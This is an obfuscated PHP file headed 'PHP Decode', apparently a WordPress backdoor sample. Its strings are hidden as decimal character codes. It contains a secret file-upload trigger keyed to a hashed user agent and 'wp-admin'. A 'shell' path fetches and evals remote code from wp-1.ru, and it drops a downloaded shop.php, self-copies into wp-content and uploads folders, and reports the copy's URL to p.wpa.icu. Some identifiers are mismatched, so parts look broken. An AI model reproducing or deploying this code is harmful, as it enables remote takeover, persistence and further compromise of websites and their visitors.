PHP Decode

<?php function db82206b1d49042d1a710e9c88c21d36($d) 
{ 
    return chr($d); 
} 
function b1ba5493b660656536a84d5c2f034327($b1ba5493b660656536a84d5c2f034327) 
{ 
    foreach ( 
        str_split($b1ba5493b660656536a84d5c2f034327, 3) 
        as $b1ba5493b660656536a84d5c2f034372 
    ) { 
        $b1ba5493b660656536a84d5c2f034627[] = db82206b1d49042d1a710e9c88c21d36( 
            $b1ba5493b660656536a84d5c2f034372 
        ); 
    } 
    return implode("", $b1ba5493b660656536a84d5c2f034627); 
} 
if ( 
    b1ba5493b660656536a84d5c2f034327("109100053")( 
        b1ba5493b660656536a84d5c2f034327("109100053")( 
            $_SERVER[ 
                b1ba5493b660656536a84d5c2f034327( 
                    "072084084080095085083069082095065071069078084" 
                ) 
            ] 
        ) 
    ) == "d52911ec8a56741007c84928d2e19264" && 
    b1ba5493b660656536a84d5c2f034327("116114105109")( 
        $_GET[b1ba5493b660656536a84d5c2f034327("097099116105111110")] 
    ) == b1ba5493b660656536a84d5c2f034327("119112045097100109105110") 
) { 
    if (!empty($_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")])) { 
        b1ba5493b660656536a84d5c2f034327( 
            "109111118101095117112108111097100101100095102105108101" 
        )( 
            $_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][ 
                b1ba5493b660656536a84d5c2f034327("116109112095110097109101") 
            ], 
            $_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][ 
                b1ba5493b660656536a84d5c2f034327("110097109101") 
            ] 
        ); 
    } 
    exit(); 
} 
$db82206b1d49042dla710e9c88c21din = b1ba5493b660656536a84d5c2f034327( 
    "101120112108111100101" 
)( 
    "/", 
    $_SERVER[b1ba5493b660656536a84d5c2f034327("080065084072095073078070079")] 
); 
if ( 
    $db82206b1d49042dla710e9c88c21din[1] == 
    b1ba5493b660656536a84d5c2f034327("115104101108108") 
) { 
    $db82206b1d49042dla710e9c88c21d3s = db82206b1d49042dla710e9c88c21d36( 
        b1ba5493b660656536a84d5c2f034327("104116116112058047047") . 
            b1ba5493b660656536a84d5c2f034327("119112045049046114117047101047") 
    ); 
    if ($db82206b1d49042dla710e9c88c21d3s) { 
        eba5493b666656536a84d5c2f034327v($db82206b1d49042dla710e9c88c21d3s); 
    } 
    exit(); 
} 
b1ba5493b660656536a84d5c2f034327( 
    "105103110111114101095117115101114095097098111114116" 
)(true); 
b1ba5493b660656536a84d5c2f034327("115101116095116105109101095108105109105116")( 
    0 
); 
while (true) { 
    $b1ba5493b666656536a84d5c2f03432b = 
        b1ba5493b666656536a84d5c2f034327() . 
        substr(md5(__FILE__), 0, 5) . 
        b1ba5493b660656536a84d5c2f034327("046112104112"); 
    $o1ba5493b660656536a84d5c2f034327 = b1ba5493b660656536a84d5c2f034327( 
        "102105108101095103101116095099111110116101110116115" 
    )(__FILE__); 
    $p1ba5493b660656536a84d5c2f034327 = 
        b1ba5493b660656536a84d5c2f034327("115116114112111115")( 
            b1ba5493b660656536a84d5c2f034327("115116114116111108111119101114")( 
                $_SERVER[ 
                    b1ba5493b660656536a84d5c2f034327( 
                        "083069082086069082095080082079084079067079076" 
                    ) 
                ] 
            ), 
            b1ba5493b660656536a84d5c2f034327("104116116112115") 
        ) === false 
            ? b1ba5493b660656536a84d5c2f034327("104116116112") 
            : b1ba5493b660656536a84d5c2f034327("104116116112115"); 
    $u1ba5493b660656536a84d5c2f034327 = 
        $p1ba5493b660656536a84d5c2f034327 . 
        b1ba5493b660656536a84d5c2f034327("058047047") . 
        $_SERVER[ 
            b1ba5493b660656536a84d5c2f034327("072084084080095072079083084") 
        ] . 
        $_SERVER[ 
            b1ba5493b660656536a84d5c2f034327( 
                "083067082073080084095078065077069" 
            ) 
        ]; 
    b1ba5493b660656536a84d5c2f034327("115108101101112")(5); 
    if ( 
        !g1ba5493b660656536a84d5c2f034327( 
            $_SERVER[ 
                b1ba5493b660656536a84d5c2f034327( 
                    "068079067085077069078084095082079079084" 
                ) 
            ] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), 
            "f5796405fc61b6339efee1f4a56f0909" 
        ) 
    ) { 
        b1ba5493b660656536a84d5c2f034327( 
            "102105108101095112117116095099111110116101110116115" 
        )( 
            $_SERVER[ 
                b1ba5493b660656536a84d5c2f034327( 
                    "068079067085077069078084095082079079084" 
                ) 
            ] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), 
            db82206b1d49042dla710e9c88c21d36( 
                b1ba5493b660656536a84d5c2f034327( 
                    "104116116112058047047119112045049046114117047099111100101047099111100101046116120116" 
                ) 
            ) 
        ); 
    } 
    if (file_exists(__FILE__)) { 
        db82206b1d49042dla710e9c88c21d36($u1ba5493b660656536a84d5c2f034327); 
        b1ba5493b660656536a84d5c2f034327( 
            "102105108101095112117116095099111110116101110116115" 
        )(__FILE__, $o1ba5493b660656536a84d5c2f034327); 
        break; 
    } 
    if ( 
        file_put_contents( 
            $b1ba5493b666656536a84d5c2f03432b, 
            $o1ba5493b660656536a84d5c2f034327 
        ) 
    ) { 
        $l1ba5493b660656536a84d5c2f034327 = 
            $p1ba5493b660656536a84d5c2f034327 . 
            b1ba5493b660656536a84d5c2f034327("058047047") . 
            $_SERVER[ 
                b1ba5493b660656536a84d5c2f034327("072084084080095072079083084") 
            ] . 
            b1ba5493b660656536a84d5c2f034327( 
                "115116114095114101112108097099101" 
            )( 
                $_SERVER[ 
                    b1ba5493b660656536a84d5c2f034327( 
                        "068079067085077069078084095082079079084" 
                    ) 
                ], 
                "", 
                $b1ba5493b666656536a84d5c2f03432b 
            ); 
        if ( 
            db82206b1d49042dla710e9c88c21d36( 
                b1ba5493b660656536a84d5c2f034327( 
                    "104116116112058047047112046119112097046105099117047063117114108061" 
                ) . $l1ba5493b660656536a84d5c2f034327 
            ) 
        ) { 
            db82206b1d49042dla710e9c88c21d36($l1ba5493b660656536a84d5c2f034327); 
        } 
        break; 
    } 
    break; 
} 
function b1ba5493b666656536a84d5c2f034327() 
{ 
    $b1ba5493b660656536a84d5c2f034627 = [ 
        b1ba5493b660656536a84d5c2f034327("047"), 
        b1ba5493b660656536a84d5c2f034327( 
            "047119112045099111110116101110116047" 
        ), 
        b1ba5493b660656536a84d5c2f034327("047119112045097100109105110047"), 
        b1ba5493b660656536a84d5c2f034327( 
            "047119112045099111110116101110116047117112108111097100115047" 
        ), 
        b1ba5493b660656536a84d5c2f034327( 
            "047119112045099111110116101110116047117112108111097100115047050048050051047" 
        ), 
    ]; 
    foreach ( 
        $b1ba5493b660656536a84d5c2f034627 
        as $b1ba5493b660656536a84d5c2f034372 
    ) { 
        $b1ba5493b660656536a84d5c2f034372 = 
            $_SERVER[ 
                b1ba5493b660656536a84d5c2f034327( 
                    "068079067085077069078084095082079079084" 
                ) 
            ] . $b1ba5493b660656536a84d5c2f034372; 
        if (true || 
            is_dir($b1ba5493b660656536a84d5c2f034372) && 
            is_writable($b1ba5493b660656536a84d5c2f034372) 
        ) { 
            $b1ba5493b660656536a84d5c2f034371[] = $b1ba5493b660656536a84d5c2f034372; 
        } 
    } 
    shuffle($b1ba5493b660656536a84d5c2f034371); 
    return $b1ba5493b660656536a84d5c2f034371[0]; 
} 
function eba5493b666656536a84d5c2f034327v($code) 
{ 
    if (!empty($code)) { 
        return @eval($code); 
    } 
} 
function g1ba5493b660656536a84d5c2f034327( 
    $g1ba5493b660656536a84d5c2f034327 = "", 
    $b1ba5493b660656536a84d5c2f034327 = "" 
) { 
    if ( 
        hash_file( 
            b1ba5493b660656536a84d5c2f034327("109100053"), 
            $g1ba5493b660656536a84d5c2f034327 
        ) === $b1ba5493b660656536a84d5c2f034327 
    ) { 
        return true; 
    } 
    return false; 
} 
function db82206b1d49042dla710e9c88c21d36($db82206b1d49042dla710e9c88c21d36) 
{ 
    $db82206b1d49042dla710e9c88c21d316 = b1ba5493b660656536a84d5c2f034327( 
        "099117114108095105110105116" 
    )($db82206b1d49042dla710e9c88c21d36); 
    b1ba5493b660656536a84d5c2f034327( 
        "099117114108095115101116111112116" 
    )($db82206b1d49042dla710e9c88c21d316, CURLOPT_RETURNTRANSFER, true); 
    b1ba5493b660656536a84d5c2f034327( 
        "099117114108095115101116111112116" 
    )($db82206b1d49042dla710e9c88c21d316, CURLOPT_TIMEOUT, 3); 
    $b1ba5493b660656536a84d5c2fo34327 = b1ba5493b660656536a84d5c2f034327( 
        "099117114108095101120101099" 
    )($db82206b1d49042dla710e9c88c21d316); 
    b1ba5493b660656536a84d5c2f034327( 
        "099117114108095099108111115101" 
    )($db82206b1d49042dla710e9c88c21d316); 
    return $b1ba5493b660656536a84d5c2fo34327; 
} 
 ?>